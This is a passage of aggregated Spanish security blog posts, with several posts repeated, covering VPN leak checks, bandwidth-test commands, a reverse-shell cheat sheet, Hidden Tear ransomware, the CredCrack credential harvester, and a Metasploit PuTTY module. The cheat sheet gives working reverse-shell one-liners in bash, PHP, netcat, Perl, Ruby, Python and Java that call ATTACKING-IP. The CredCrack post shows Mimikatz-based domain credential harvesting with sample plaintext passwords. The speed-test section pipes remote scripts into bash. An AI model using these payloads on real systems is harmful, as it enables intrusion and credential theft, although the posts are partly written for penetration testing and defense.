Luego, como comentábamos, hay que asegurarse de que nuestras peticiones DNS no están siendo recogidas y analizadas para hacernos un seguimiento. Es decir, que todo nuestro tráfico (peticiones de resolución incluidas) se esté redirigiendo hacia la red anónima. Si no, aunque tengamos configurado un DNS anónimo, nuestro ISP podría usar proxies transparentes e interceptar nuestras peticiones DNS (TCP/UDP 53).
Para comprobar qué servidor exactamente está resolviendo nuestras peticiones podemos usar: https://dnsleaktest.com
En mi caso es el DNS del proveedor de VPN, que no debería registrar y guardar logs de ninguna petición (siempre viene bien revisar las políticas de privacidad correspondientes).
Finalmente, el último aspecto básico a revisar es comprobar si las comunicaciones están siendo cifradas y si los algoritmos utilizados son seguros.
Para ello podemos esnifar el tráfico del interfaz virtual que utiliza la VPN. En Wireshark debemos primero seleccionarlo:
Y luego seguir el stream TLS:
Cómo veis, usando CyberGhost nuestro cliente ha negociado TLS_ECDHE_RSA_WITH_AES_128_CBC_SHA256 (0xc027) con un servidor en el cloud de Amazon.
Es decir, usa un algoritmo de curva elíptica con Diffie Hellman firmado con claves RSA con AES de 128 bits y cifrado de bloques con SHA 256... o lo que es lo mismo, parece que nuestras comunicaciones están siendo cifradas de forma adecuada ;)
En resumen, estos son los tres aspectos básicos que debemos revisar cuando usamos un servicio VPN para mantener nuestra privacidad. Más adelante veremos algunas comprobaciones más avanzadas, configuraciones de routers como pasarela a estas VPN/redes anónimas, VPNs sobre VPNs, comparativas de estadísticas de red, etc.
Fuentes:
- Check VPN Security: IP Address & DNS Leaks
- How to Check if your VPN Connection is Secure
- How to See If Your VPN Is Leaking Your IP Address (and How to Stop It)
- How to Check and see if your VPN Connection is Secure
Lo primero que debemos mirar es que nuestra IP real no se muestre y, por lo tanto, esté a salvo de cualquier seguimiento o tracking. Lo segundo son las fugas de información sobre nuestras consultas DNS. Si nuestro ISP todavía puede ver qué sitios estamos resolviendo/visitando entonces la VPN que usamos no es segura. Digamos que esas dos cosas (IP y DNS), y por supuesto que el tráfico vaya cifrado correctamente, es lo más básico que tenemos que comprobar para verificar que el servicio VPN que estamos usando nos está protegiendo realmente.
Existen algunos servicios online que podemos utilzar para comprobar que nuestra IP y geolocalización difieren de los reales. Por ejemplo: http://whoer.net/extended
Según el resultado del test, una vez conectados a la VPN, la dirección IP está geolocalizada en Rumanía aunque las settings de mi navegador me delatan, ya que el lenguaje que utilizo por defecto sigue siendo el español. Ya vimos que existen muchas formas de identificar a un usuario mediante el navegador e incluso hacer ataques de geo-inferencia viendo el caché, por lo que es recomendable usar un navegador standalone en un contenedor/sandbox y, si es posible, en una máquina virtual dedicada o (por qué no) física. De nada sirve usar un servicio VPN si luego vamos dejando una huella digital tan clara. Por ejemplo, existen proveedores como Cyber Ghost que te facilitan el control de la privacidad mediante unos pocos cambios en el navegador:
Luego, como comentábamos, hay que asegurarse de que nuestras peticiones DNS no están siendo recogidas y analizadas para hacernos un seguimiento. Es decir, que todo nuestro tráfico (peticiones de resolución incluidas) se esté redirigiendo hacia la red anónima. Si no, aunque tengamos configurado un DNS anónimo, nuestro ISP podría usar proxies transparentes e interceptar nuestras peticiones DNS (TCP/UDP 53).
Para comprobar qué servidor exactamente está resolviendo nuestras peticiones podemos usar: https://dnsleaktest.com
En mi caso es el DNS del proveedor de VPN, que no debería registrar y guardar logs de ninguna petición (siempre viene bien revisar las políticas de privacidad correspondientes).
Finalmente, el último aspecto básico a revisar es comprobar si las comunicaciones están siendo cifradas y si los algoritmos utilizados son seguros.
Para ello podemos esnifar el tráfico del interfaz virtual que utiliza la VPN. En Wireshark debemos primero seleccionarlo:
Y luego seguir el stream TLS:
Cómo veis, usando CyberGhost nuestro cliente ha negociado TLS_ECDHE_RSA_WITH_AES_128_CBC_SHA256 (0xc027) con un servidor en el cloud de Amazon.
Es decir, usa un algoritmo de curva elíptica con Diffie Hellman firmado con claves RSA con AES de 128 bits y cifrado de bloques con SHA 256... o lo que es lo mismo, parece que nuestras comunicaciones están siendo cifradas de forma adecuada ;)
En resumen, estos son los tres aspectos básicos que debemos revisar cuando usamos un servicio VPN para mantener nuestra privacidad. Más adelante veremos algunas comprobaciones más avanzadas, configuraciones de routers como pasarela a estas VPN/redes anónimas, VPNs sobre VPNs, comparativas de estadísticas de red, etc.
Fuentes:
- Check VPN Security: IP Address & DNS Leaks
- How to Check if your VPN Connection is Secure
- How to See If Your VPN Is Leaking Your IP Address (and How to Stop It)
- How to Check and see if your VPN Connection is Secure
↧
↧
Espectacular vídeo de un águila derribando un dron
La naturaleza revolviéndose contra la tecnología invasiva... Espectacular captura de Melbourne Aerial Video en el que se aprecia como un águila derriba un dron aéreo. No os lo perdáis:
↧
Comandos en Linux para probar la velocidad de la línea de Internet
En algunas ocasiones necesitamos hacer pruebas de velocidad e incluso saturar nuestra línea de acceso a Internet para verificar que realmente podemos alcanzar el caudal contratado. Cuando esto ocurre muchas veces no disponemos de otro host remoto detrás de otra línea WAN y acabamos recurriendo a servidores FTP públicos que creemos que tienen buen ancho de banda, a mega.co.nz y hasta la Santísima Trinidad (incluso he visto usar clientes torrent y pensar en usar botnets!).
En esta entrada os voy a listar una serie de comandos para que los podáis copiar y pegar directamente en vuestro terminal y, simplemente desde vuestro equipo Linux (sin tienes dos mejor), podáis conseguir unas pruebas de benchmarking realmente impresionantes, sólo con iperf, wget, curl y poco más. Por supuesto también puedes currarte un sencillo script en shell para impresionar a tu jefe, o meter un while para petar una línea (cuidado con las que estén en producción).
Así que, al menos que quieras aprovechar para bajarte una serie desde la oficina, os recomiendo usar estos comandos contra estos servidores públicos de pruebas disponibles en Internet (por favor, si conoces más servidores públicos no dudes en comentar esta entrada):
Verificar IP pública
Muy útil para previamente asegurarnos qué línea vamos a comprobar.
Servicios benchmarking:
Sitios dedicados o especializados en realizar tests de velocidad
Pruebas de descarga:
Ojo con enviar la descarga directamente a /dev/null si no queréis llenar rápidamente vuestro disco.
CacheFly (Canada):
Pruebas de subida:
Con el parámetro -r o -d se intentará hacer el test de forma bidireccional. No obstante fallará si tu firewall no permite el NAT de entrada (que es lo normal). Por eso ponemos a iperf en categoría de pruebas de subida/upload.
Fuentes:
- Measuring Download Speed from Linux Command Line
- How to Test Your Internet Speed from the Command Line
- How can I get my public IP address from the command line, if I am behind a router?
- Download Test Files
- How to use wget to test bandwidth / download speed ?
- curl speedtest - A nimble benchmark tool
- How can I test the bandwith using a Linux shell ?
- Handy iperf commands for quick network testing
- EsNet iperf and iperf3
- Public iPerf3 servers
En esta entrada os voy a listar una serie de comandos para que los podáis copiar y pegar directamente en vuestro terminal y, simplemente desde vuestro equipo Linux (sin tienes dos mejor), podáis conseguir unas pruebas de benchmarking realmente impresionantes, sólo con iperf, wget, curl y poco más. Por supuesto también puedes currarte un sencillo script en shell para impresionar a tu jefe, o meter un while para petar una línea (cuidado con las que estén en producción).
Así que, al menos que quieras aprovechar para bajarte una serie desde la oficina, os recomiendo usar estos comandos contra estos servidores públicos de pruebas disponibles en Internet (por favor, si conoces más servidores públicos no dudes en comentar esta entrada):
Verificar IP pública
Muy útil para previamente asegurarnos qué línea vamos a comprobar.
curl -s checkip.dyndns.org | sed 's#.*Address: \(.*\)</b.*#\1#'
wget -qO - icanhazip.com
curl ifconfig.me
curl ident.me
dig +short myip.opendns.com @resolver1.opendns.com
lynx -dump ifconfig.me | grep 'IP Address'
curl ipecho.net/plain
curl bot.whatismyipaddress.com
curl ipinfo.io
curl ipogre.com
Servicios benchmarking:
Sitios dedicados o especializados en realizar tests de velocidad
wget dl.getipaddr.net/speedtest.sh -q -O- | bash
curl -s dl.getipaddr.net/speedtest.sh -o- | bash
wget https://raw.github.com/blackdotsh/curl-speedtest/master/speedtest.sh && chmod u+x speedtest.sh && bash speedtest.sh
wget -O speedtest-cli https://raw.github.com/sivel/speedtest-cli/master/speedtest_cli.py && chmod +x speedtest-cli && ./speedtest-cli
Pruebas de descarga:
Ojo con enviar la descarga directamente a /dev/null si no queréis llenar rápidamente vuestro disco.
CacheFly (Canada):
wget -O /dev/null http://cachecefly.cachefly.net/100mb.test
SoftLayer (EE.UU. y Holanda):wget -O /dev/null http://speedtest.dal01.softlayer.com/downloads/test100.zip
wget -O /dev/null http://speedtest.sea01.softlayer.com/downloads/test100.zip
wget -O /dev/null http://speedtest.ams01.softlayer.com/downloads/test500.zip
wget -O /dev/null http://50.23.64.58/downloads/test100.zip
curl -o /dev/null http://speedtest.wdc01.softlayer.com/downloads/test500.zip
curl -O http://speedtest.wdc01.softlayer.com/downloads/test10.zip > /dev/null
wget --output-document=/dev/null http://speedtest.wdc01.softlayer.com/downloads/test500.zip
echo "scale=2; `curl --progress-bar -w "%{speed_download}" http://speedtest.wdc01.softlayer.com/downloads/test10.zip -o test.zip` / 131072" | bc | xargs -I {} echo {}Mb\/s
Linode (EE.UU., Reino Unido y Japón):wget -O /dev/null http://speedtest.tokyo.linode.com/100MB-tokyo.bin
wget -O /dev/null http://speedtest.london.linode.com/100MB-london.bin
wget -O /dev/null http://speedtest.newark.linode.com/100MB-newark.bin
wget -O /dev/null http://speedtest.atlanta.linode.com/100MB-atlanta.bin
wget -O /dev/null http://speedtest.dallas.linode.com/100MB-dallas.bin
wget -O /dev/null http://speedtest.fremont.linode.com/100MB-fremont.bin
Leaseweb (EE.UU. y Holanda):wget -O /dev/null http://mirror.nl.leaseweb.net/speedtest/1000mb.bin
wget -O /dev/null http://mirror.us.leaseweb.net/speedtest/1000mb.bin
FDCServer (EE.UU.):wget -O /dev/null http://lg.denver.fdcservers.net/100MBtest.zip
OVH (Francia):wget -O /dev/null http://proof.ovh.net/files/100Mb.dat
Pruebas de subida:
Con el parámetro -r o -d se intentará hacer el test de forma bidireccional. No obstante fallará si tu firewall no permite el NAT de entrada (que es lo normal). Por eso ponemos a iperf en categoría de pruebas de subida/upload.
iperf3 -c iperf.scottlinux.com -u
iperf3 -c iperf.volia.net -R -P 4
iperf -c iperf.volia.net -r -P 4
iperf -c s-network1.amcs.tld -P 1 -i 5 -p 5999 -f B -t 60 -T 1
iperf -c iperf.acd.net -P 10 -t 240
iperf -c ping.online.net -i 2 -t 20 -r
bwctl -T iperf3 -f m -t 10 -i 1 -c ps.ncar.xsede.org
iperf -c ping.online.net -i 5 -u -r
iperf -c ping-90ms.online.net -i 5 -u -r
iperf -c debit.k-net.fr -i 10 -T 100
iperf -c speedtest.serverius.net
iperf -c iperf.he.net
Fuentes:
- Measuring Download Speed from Linux Command Line
- How to Test Your Internet Speed from the Command Line
- How can I get my public IP address from the command line, if I am behind a router?
- Download Test Files
- How to use wget to test bandwidth / download speed ?
- curl speedtest - A nimble benchmark tool
- How can I test the bandwith using a Linux shell ?
- Handy iperf commands for quick network testing
- EsNet iperf and iperf3
- Public iPerf3 servers
↧
Cheat sheet de shell inversos (reverse shells)
Si tienes la suerte de encontrar una vulnerabilidad de ejecución remota de comandos (rce), seguro que querrás conectarse de nuevo a tu máquina atacante para usar un shell interactivo.
En el blog highon.coffee presentan una buena colección de shells inversos que podrás usar con los lenguajes de programación o los binarios instalados más comunes (nc, telnet, bash, etc).
Lo primero que debemos hacer es levantar un listener en la máquina atacante (a donde se conectará el shell inverso) en un puerto de salida que normalmente permiten los firewalls, por ejemplo el 80 o el 443.
Shell inverso en Bash
Shell inverso en PHP
Shell inverso con Netcat
Shell inverso con Telnet
Shell inverso en Perl
Shell inverso en Perl bajo Windows
Shell inverso en Ruby
Shell inverso en Java
Shell inverso en Python
Shell inverso con Gawk
Shells inversos en Kali
Los siguientes shells están en Kali Linux bajo el directorio /usr/share/webshells/, muy útiles si puedes subirlos, inyectarlos o transferilos a la máquina de la víctima.
* Estos dos últimos realmente no son shells inversos, pero pueden ser útilies para ejecutarlos.
En el blog highon.coffee presentan una buena colección de shells inversos que podrás usar con los lenguajes de programación o los binarios instalados más comunes (nc, telnet, bash, etc).
Lo primero que debemos hacer es levantar un listener en la máquina atacante (a donde se conectará el shell inverso) en un puerto de salida que normalmente permiten los firewalls, por ejemplo el 80 o el 443.
root@kali:~# nc -nvlp 80
nc: listening on :: 80 ...
nc: listening on 0.0.0.0 80 ...
Shell inverso en Bash
exec /bin/bash 0&0 2>&0
0<&196;exec 196<>/dev/tcp/ATTACKING-IP/80; sh <&196 >&196 2>&196
exec 5<>/dev/tcp/ATTACKING-IP/80
cat <&5 | while read line; do $line 2>&5 >&5; done
# or:
while read line 0<&5; do $line 2>&5 >&5; done
bash -i >& /dev/tcp/ATTACKING-IP/80 0>&1
Shell inverso en PHP
php -r '$sock=fsockopen("ATTACKING-IP",80);exec("/bin/sh -i <&3 >&3 2>&3");'
(Asume que TCP el descriptor 3. Si no funciona, prueba 4,5 o 6)
Shell inverso con Netcat
nc -e /bin/sh ATTACKING-IP 80
/bin/sh | nc ATTACKING-IP 80
rm -f /tmp/p; mknod /tmp/p p && nc ATTACKING-IP 4444 0/tmp/p
Shell inverso con Telnet
rm -f /tmp/p; mknod /tmp/p p && telnet ATTACKING-IP 80 0/tmp/p
Shell inverso en Perl
perl -e 'use Socket;$i="ATTACKING-IP";$p=80;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'
Shell inverso en Perl bajo Windows
perl -MIO -e '$c=new IO::Socket::INET(PeerAddr,"ATTACKING-IP:80");STDIN->fdopen($c,r);$~->fdopen($c,w);system$_ while<>;'
perl -e 'use Socket;$i="ATTACKING-IP";$p=80;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'
Shell inverso en Ruby
ruby -rsocket -e'f=TCPSocket.open("ATTACKING-IP",80).to_i;exec sprintf("/bin/sh -i <&%d >&%d 2>&%d",f,f,f)'
Shell inverso en Java
r = Runtime.getRuntime()
p = r.exec(["/bin/bash","-c","exec 5<>/dev/tcp/ATTACKING-IP/80;cat <&5 | while read line; do \$line 2>&5 >&5; done"] as String[])
p.waitFor()
Shell inverso en Python
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("ATTACKING-IP",80));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
Shell inverso con Gawk
#!/usr/bin/gawk -f
BEGIN {
Port = 8080
Prompt = "bkd> "
Service = "/inet/tcp/" Port "/0/0"
while (1) {
do {
printf Prompt |& Service
Service |& getline cmd
if (cmd) {
while ((cmd |& getline) > 0)
print $0 |& Service
close(cmd)
}
} while (cmd != "exit")
close(Service)
}
}
Shells inversos en Kali
Los siguientes shells están en Kali Linux bajo el directorio /usr/share/webshells/, muy útiles si puedes subirlos, inyectarlos o transferilos a la máquina de la víctima.
Kali PHP Web Shells
Comando | Descripción |
---|---|
./php/php-reverse-shell.php | Pen Test Monkey - Shell inverso PHP |
findsock.c | Pen Test Monkey, Findsock Shell. Compila gcc -o findsock findsock.c (ten en cuenta la arquitectura del servidor objetivo), ejecuta con netcat no con un navegador nc -v target 80 |
| Backdoor PHP, útil para la ejecución de comandos si puedes subir/ inyectar comandos, uso: http://target.com/simple- |
| Shell PHP más grande, con un cuadro de entrada de texto para la ejecución de comandos. |
Kali Perl Reverse Shell
Comando | Descripción |
---|---|
./perl/perl-reverse-shell.pl | Pen Test Monkey - Perl Reverse Shell |
./perl/perlcmd.cgi | Pen Test Monkey, Perl Shell. Uso: http://target.com/perlcmd.cgi?cat /etc/passwd |
Kali Cold Fusion Shell
Comando | Descripción |
---|---|
./cfm/cfexec.cfm | Cold Fusion Shell - aka CFM Shell |
Kali ASP Shell
Comando | Descripción |
---|---|
./asp/ | Kali ASP Shells |
Kali ASPX Shells
Comando | Descripción |
---|---|
./aspx/ | Kali ASPX Shells |
Kali JSP Reverse Shell
Comando | Descripción |
---|---|
./jsp/jsp-reverse.jsp | Kali JSP Reverse Shell |
↧
Hidden Tear, nace el primer ransomware de código abierto
Ya tenemos aquí el primer ransomware de código abierto. Se trata de "Hidden Tear" y lo ha publicado en Github el grupo turco Utku Sen. ¿Os suena Cryptowall o Cryptolocker? Pues se trata del mismo tipo de malware: usa cifrado AES para inutilizar los ficheros de la víctima y muestra un mensaje para intentar que los usuarios afectados paguen por su rescate. Por supuesto no es tan avanzado pero sin duda resulta bastante académico.
En el momento de su lanzamiento el malware evadía la mayoría antivirus, evidentemente ya no. "Si bien esto puede ser útil para algunos, existen riesgos significativos. Hidden Tear sólo podrá utilizarse con fines educativos. No lo utilice como ransomware", comenta Sen.
También han publicado un vídeo con una demo en el que se demuestra cómo el ransomware puede cifrar y descifrar archivos dejando una nota en el escritorio de la víctima.
Por el momento, la publicación de este código (parece que bastante mejorable, por cierto) ha generado bastante controversia en la comunidad. Veremos si esta fórmula termina en un desarrollo y evolución significativa de esta herramienta y/o se trata de una piedra angular de una nueva familia de ransomwares de código abierto moldeados y evolucionados por una basta mayoría.
Pero por el momento y como comentaban hoy en el blog... "estamos viviendo los mejores momentos de la seguridad informatica ;)"
Hidden Tear: https://github.com/utkusen/hidden-tear
En el momento de su lanzamiento el malware evadía la mayoría antivirus, evidentemente ya no. "Si bien esto puede ser útil para algunos, existen riesgos significativos. Hidden Tear sólo podrá utilizarse con fines educativos. No lo utilice como ransomware", comenta Sen.
También han publicado un vídeo con una demo en el que se demuestra cómo el ransomware puede cifrar y descifrar archivos dejando una nota en el escritorio de la víctima.
Por el momento, la publicación de este código (parece que bastante mejorable, por cierto) ha generado bastante controversia en la comunidad. Veremos si esta fórmula termina en un desarrollo y evolución significativa de esta herramienta y/o se trata de una piedra angular de una nueva familia de ransomwares de código abierto moldeados y evolucionados por una basta mayoría.
Pero por el momento y como comentaban hoy en el blog... "estamos viviendo los mejores momentos de la seguridad informatica ;)"
![]() |
script kiddies' orgasm. part I |
Hidden Tear: https://github.com/utkusen/hidden-tear
↧
↧
Consigue las credenciales del administrador de dominio en tan sólo 17 segundos con CredCrack
CredCrack es un script en Python de Jonathan Broche (@g0jhonny) que podemos usar para enumerar los recursos compartidos y recopilar rápidamente las credenciales de los servidores Windows de una red. Podríamos decir que es silencioso en cuanto a que carga las credenciales en memoria sin escribir a disco, y que también puede ser bastante rápido; en el siguiente vídeo se obtienen las credenciales de administrador de dominio en tan sólo 17 segundos:
Básicamente su funcionamiento es el siguiente:
- Inicia automáticamente el servicio de apache y despliega dos archivos en el directorio /var/www: fun.ps1 y creds.php.
- Valida la lista de IPs para asegurarse de que se llega a cada una de ellas y que tienen el puerto 445 abierto.
- Si se ha especificado el parámetro '-es' enumerará los recursos compartidos: smbclient -L //{} -U '{}/{}%{}'
- Consulta la lista de administradores de dominio de los sistemas alcanzables: net group \"Domain Admins\" /domain
- Lanza el script en powershell fun.ps1 que ejecuta mimikatz en memoria con Invoke-Mimikatz.ps1 y luego envía las credenciales mediante una petición POST que creds.php intercepta.
- Continua recopilando las credenciales de todos los sistemas provistos y cruza los usuarios obtenidos con la lista de administradores de dominio que había obtenido anteriormente.
- Finalmente muestra los resultados y se cierra limpiamente.
CredCrack funciona con las herramientas nativas de Kali Linux y para usarlo sólo tenemos que bajarnos el script de GitHub:
wget https://raw.githubusercontent.com/gojhonny/CredCrack/master/credcrack.py
y descargar en el directorio /var/www el script en Powershell Invoke-Mimikatz.ps1 de Joe Bialek (@JosephBialek):
wget https://raw.githubusercontent.com/mattifestation/PowerSploit/master/Exfiltration/Invoke-Mimikatz.ps1 -O /var/www/Invoke-Mimikatz.ps1
Luego para enumerar recursos compartidos:
Y para recopilar credenciales:
Podríamos hacer prácticamente lo mismo con otras herramientas, pero sin duda este script resulta muy útil y facilita el trabajo. Eso sí, para que funcione y podamos obtener las contraseñas en claro necesitaremos ejecutarla con un administrador local, algo que podemos comprobar previamente al enumerar los recursos compartidos (-es).
"Pues vaya entonces...", dirás, pero piensa que nos puede servir para "elevar privilegios" a nivel de dominio o quizás podríamos haber obtenido simplemente un prompt con un usuario con permisos o haber reutilizado un hash, etc.
¿Y cómo podemos defendernos ante estos ataques? Pues un poco lo de siempre para evitar Mimikatz y técnicas Pass-the-hash:
- Usar usuarios como los mínimos permisos posibles o Enforce Least User Access (LUA)
- Usar un script que compruebe diariamente los usuarios con permisos administrativos
- Crear contraseñas teniendo en cuenta las buenas prácticas que aseguren un mínimo de complejidad
- No validarse en estaciones de trabajo con administradores de dominio
- Segmentar la red para separar los puestos de usuario de los servidores y controlar adecuadamente el tráfico mediante firewalls.
- Usar NIDS.
- Desactivar WDigest
- En Windows 8+ y Server 2012 no usar NTLM. no cachear Windows Digest y reducir el tiempo de vida de los TGT de Kerberos
GitHub: https://github.com/gojhonny/CredCrack
Fuentes:
- Domain Administrator in 17 seconds
- Preventing CredCrack, Mimikatz, Pass-the-Hash and more
- Dumping a Domain’s Worth of Passwords With Mimikatz pt. 2
- Auto-Dumping Domain Credentials using SPNs, PowerShell Remoting, and Mimikatz
Básicamente su funcionamiento es el siguiente:
- Inicia automáticamente el servicio de apache y despliega dos archivos en el directorio /var/www: fun.ps1 y creds.php.
- Valida la lista de IPs para asegurarse de que se llega a cada una de ellas y que tienen el puerto 445 abierto.
- Si se ha especificado el parámetro '-es' enumerará los recursos compartidos: smbclient -L //{} -U '{}/{}%{}'
- Consulta la lista de administradores de dominio de los sistemas alcanzables: net group \"Domain Admins\" /domain
- Lanza el script en powershell fun.ps1 que ejecuta mimikatz en memoria con Invoke-Mimikatz.ps1 y luego envía las credenciales mediante una petición POST que creds.php intercepta.
- Continua recopilando las credenciales de todos los sistemas provistos y cruza los usuarios obtenidos con la lista de administradores de dominio que había obtenido anteriormente.
- Finalmente muestra los resultados y se cierra limpiamente.
CredCrack funciona con las herramientas nativas de Kali Linux y para usarlo sólo tenemos que bajarnos el script de GitHub:
wget https://raw.githubusercontent.com/gojhonny/CredCrack/master/credcrack.py
y descargar en el directorio /var/www el script en Powershell Invoke-Mimikatz.ps1 de Joe Bialek (@JosephBialek):
wget https://raw.githubusercontent.com/mattifestation/PowerSploit/master/Exfiltration/Invoke-Mimikatz.ps1 -O /var/www/Invoke-Mimikatz.ps1
Luego para enumerar recursos compartidos:
./credcrack.py -r 192.168.1.100 -d acme -u bob -es
Password:
---------------------------------------------------------------------
CredCrack v1.0 by Jonathan Broche (@g0jhonny)
---------------------------------------------------------------------
[*] Validating 192.168.1.102
[*] Validating 192.168.1.103
[*] Validating 192.168.1.100
-----------------------------------------------------------------
192.168.1.102 - Windows 7 Professional 7601 Service Pack 1
-----------------------------------------------------------------
OPEN \\192.168.1.102\ADMIN$
OPEN \\192.168.1.102\C$
-----------------------------------------------------------------
192.168.1.103 - Windows Vista (TM) Ultimate 6002 Service Pack 2
-----------------------------------------------------------------
OPEN \\192.168.1.103\ADMIN$
OPEN \\192.168.1.103\C$
CLOSED \\192.168.1.103\F$
-----------------------------------------------------------------
192.168.1.100 - Windows Server 2008 R2 Enterprise 7601 Service Pack 1
-----------------------------------------------------------------
CLOSED \\192.168.1.100\ADMIN$
CLOSED \\192.168.1.100\C$
OPEN \\192.168.1.100\NETLOGON
OPEN \\192.168.1.100\SYSVOL
[*] Done! Completed in 0.8s
Y para recopilar credenciales:
./credcrack.py -f hosts -d acme -u bob -l 192.168.1.100
Password:
---------------------------------------------------------------------
CredCrack v1.0 by Jonathan Broche (@g0jhonny)
---------------------------------------------------------------------
[*] Setting up the stage
[*] Validating 192.168.1.102
[*] Validating 192.168.1.103
[*] Querying domain admin group from 192.168.1.102
[*] Harvesting credentials from 192.168.1.102
[*] Harvesting credentials from 192.168.1.103
The loot has arrived...
__________
/\____;;___\
| / /
`. ())oo() .
|\(%()*^^()^\
%| |-%-------|
% \ | % )) |
% \|%________|
[*] Host: 192.168.1.102 Domain: ACME User: jsmith Password: Good0ljm1th
[*] Host: 192.168.1.103 Domain: ACME User: daguy Password: P@ssw0rd1!
1 domain administrators found and highlighted in yellow above!
[*] Cleaning up
[*] Done! Loot may be found under /root/CCloot folder
[*] Completed in 11.3s
Podríamos hacer prácticamente lo mismo con otras herramientas, pero sin duda este script resulta muy útil y facilita el trabajo. Eso sí, para que funcione y podamos obtener las contraseñas en claro necesitaremos ejecutarla con un administrador local, algo que podemos comprobar previamente al enumerar los recursos compartidos (-es).
"Pues vaya entonces...", dirás, pero piensa que nos puede servir para "elevar privilegios" a nivel de dominio o quizás podríamos haber obtenido simplemente un prompt con un usuario con permisos o haber reutilizado un hash, etc.
¿Y cómo podemos defendernos ante estos ataques? Pues un poco lo de siempre para evitar Mimikatz y técnicas Pass-the-hash:
- Usar usuarios como los mínimos permisos posibles o Enforce Least User Access (LUA)
- Usar un script que compruebe diariamente los usuarios con permisos administrativos
- Crear contraseñas teniendo en cuenta las buenas prácticas que aseguren un mínimo de complejidad
- No validarse en estaciones de trabajo con administradores de dominio
- Segmentar la red para separar los puestos de usuario de los servidores y controlar adecuadamente el tráfico mediante firewalls.
- Usar NIDS.
- Desactivar WDigest
- En Windows 8+ y Server 2012 no usar NTLM. no cachear Windows Digest y reducir el tiempo de vida de los TGT de Kerberos
GitHub: https://github.com/gojhonny/CredCrack
Fuentes:
- Domain Administrator in 17 seconds
- Preventing CredCrack, Mimikatz, Pass-the-Hash and more
- Dumping a Domain’s Worth of Passwords With Mimikatz pt. 2
- Auto-Dumping Domain Credentials using SPNs, PowerShell Remoting, and Mimikatz
↧
Alibi Routing: controla por dónde *no* pasan tus paquetes con enrutamiento punto a punto
En cualquier comunicación a través de Internet, como simples peticiones a sitios web o mensajes de correo electrónico, la información se divide en paquetes y se envía a través de una serie de routers hasta que llega a su destino. Los usuarios no podemos controlar por donde viajan estos paquetes y simplemente estamos indefensos ante la interceptación de nuestros datos por parte de gobiernos u otros. Ante la censura del tráfico de Internet, los enrutamientos "sospechosos" y el seguimiento de los datos de los usuarios poco podemos hacer... hasta ahora.
Varios investigadores de la Universidad de Maryland han desarrollado un sistema de enrutamiento punto a punto llamado Alibi Routing con el que los usuarios pueden controlar al menos por dónde NO deben viajar sus paquetes. Su funcionamiento es sencillo: el usuario especifica con quien se quiere comunicar (con el destino) y las regiones geográficas "prohibidas" a evitar. Luego el sistema busca usuarios "alibi" ("coartada" en inglés) en la red peer-to-peer que puedan restransmitir los paquetes del usuario demostrando que evitan las regiones señaladas.
He aquí un ejemplo de un usuario en Italia tratando de comunicarse con un servidor en Noruega, evitando Alemania:
Para evaluar su método, los investigadores simularon una red con 20.000 participantes y seleccionaron regiones prohibidas recogidas en el informe de 2012 "Enemigos de Internet" publicado por Reporteros sin Fronteras (China, Siria, Corea del Norte y Arabia Saudí), así como los tres países con mayor número de usuarios en Internet (Estados Unidos, China y Japón).
Más información en:
Fuente: https://alibi.cs.umd.edu/
Whitepaper: https://alibi.cs.umd.edu/papers/alibi_sigcomm15.pdf (SIGCOMM 2015)
Código(27 KB): Contiene el prototipo de la aplicación y el simulador. En el README tenéis las instrucciones para instalarlo y su funcionamiento.
Datos (16 MB): Contiene los datos necesarios para ejecutar el código anterior y recrear los experimentos del paper. Incluye información de topología (país polígonos).
Varios investigadores de la Universidad de Maryland han desarrollado un sistema de enrutamiento punto a punto llamado Alibi Routing con el que los usuarios pueden controlar al menos por dónde NO deben viajar sus paquetes. Su funcionamiento es sencillo: el usuario especifica con quien se quiere comunicar (con el destino) y las regiones geográficas "prohibidas" a evitar. Luego el sistema busca usuarios "alibi" ("coartada" en inglés) en la red peer-to-peer que puedan restransmitir los paquetes del usuario demostrando que evitan las regiones señaladas.
He aquí un ejemplo de un usuario en Italia tratando de comunicarse con un servidor en Noruega, evitando Alemania:
Para evaluar su método, los investigadores simularon una red con 20.000 participantes y seleccionaron regiones prohibidas recogidas en el informe de 2012 "Enemigos de Internet" publicado por Reporteros sin Fronteras (China, Siria, Corea del Norte y Arabia Saudí), así como los tres países con mayor número de usuarios en Internet (Estados Unidos, China y Japón).
Más información en:
Fuente: https://alibi.cs.umd.edu/
Whitepaper: https://alibi.cs.umd.edu/papers/alibi_sigcomm15.pdf (SIGCOMM 2015)
Código(27 KB): Contiene el prototipo de la aplicación y el simulador. En el README tenéis las instrucciones para instalarlo y su funcionamiento.
Datos (16 MB): Contiene los datos necesarios para ejecutar el código anterior y recrear los experimentos del paper. Incluye información de topología (país polígonos).
↧
20 exploits para PHP explicados (分析和测试代码)
Ya sabéis que PHP es un lenguaje de programación de propósito general ampliamente utilizado, que está especialmente indicado para el desarrollo web y puede ser embebido en páginas HTML. En Github he encontrado un interesante proyecto llamado PCH (Php Codz Hacking) que contiene 20 ejemplos con distintos fragmentos de código que nos llevan fácilmente al análisis fundamental de los problemas de seguridad más comunes en las aplicaciones que usan PHP. No os los perdáis pero, eso sí, sacar el traductor de chino a pasear:
↧
Módulo de Metasploit para enumerar las sesiones guardadas de PuTTY
Hoy en día en entornos corporativos se utiliza mayoritariamente estaciones de trabajo con Windows 7 y el cliente PuTTY para acceder por SSH a servidores Linux. Para nosotros los "malos" es capital poder obtener las credenciales que utilizan los usuarios para acceder a esas máquinas ya que, o bien son técnicos de sistemas y las usan para administrar toda o gran parte de la infraestructura, o bien son desarrolladores que suben el código fuente o incluso administran aplicaciones concretas.
Stufus ha desarrollado un módulo de post-explotación para Metasploit que extrae información *muy útil* de PuTTY y Pageant (el primo-agente SSH de PuTTY): enumera las sesiones guardadas y los fingerprints de confianza y obtiene las claves privadas. Yo he convencido a un amigo administrador que usa PuTTY para probar el módulo XD, así que vamos a ello...
Primero genero el payload, sin necesidad de hacerlo FuD, porque mi amigo lo va a ejecutar desactivando el AV previamente (gracias amigo):
Luego pongo la oreja y espero plácidamente que llamen a la puerta:
